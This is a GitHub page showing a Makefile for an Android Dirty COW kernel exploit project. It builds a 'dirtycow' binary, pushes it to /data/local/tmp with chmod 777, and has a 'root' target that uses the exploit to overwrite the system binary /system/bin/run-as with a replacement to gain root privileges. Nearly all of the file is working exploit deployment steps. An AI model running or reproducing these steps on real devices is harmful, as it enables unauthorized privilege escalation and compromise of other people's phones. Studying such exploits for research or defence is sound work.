-
Notifications
You must be signed in to change notification settings - Fork 393
/
Makefile
32 lines (24 loc) · 1001 Bytes
/
Makefile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
ARCH := $(shell adb shell getprop ro.product.cpu.abi)
SDK_VERSION := $(shell adb shell getprop ro.build.version.sdk)
all: build
build:
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=$(ARCH) APP_PLATFORM=android-$(SDK_VERSION)
push: build
adb push libs/$(ARCH)/dirtycow /data/local/tmp/dcow
adb shell 'chmod 777 /data/local/tmp/dcow'
test: push
adb push test.sh /data/local/tmp/test.sh
adb shell 'chmod 777 /data/local/tmp/dcow'
adb shell 'chmod 777 /data/local/tmp/test.sh'
adb shell '/data/local/tmp/test.sh'
adb shell '/data/local/tmp/dcow /data/local/tmp/test /data/local/tmp/test2'
adb shell 'cat /data/local/tmp/test2'
adb shell 'cat /data/local/tmp/test2' | xxd
root: push
adb shell 'chmod 777 /data/local/tmp/dcow'
adb push libs/$(ARCH)/run-as /data/local/tmp/run-as
adb shell 'cat /system/bin/run-as > /data/local/tmp/run-as-original'
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as --no-pad'
clean:
rm -rf libs
rm -rf obj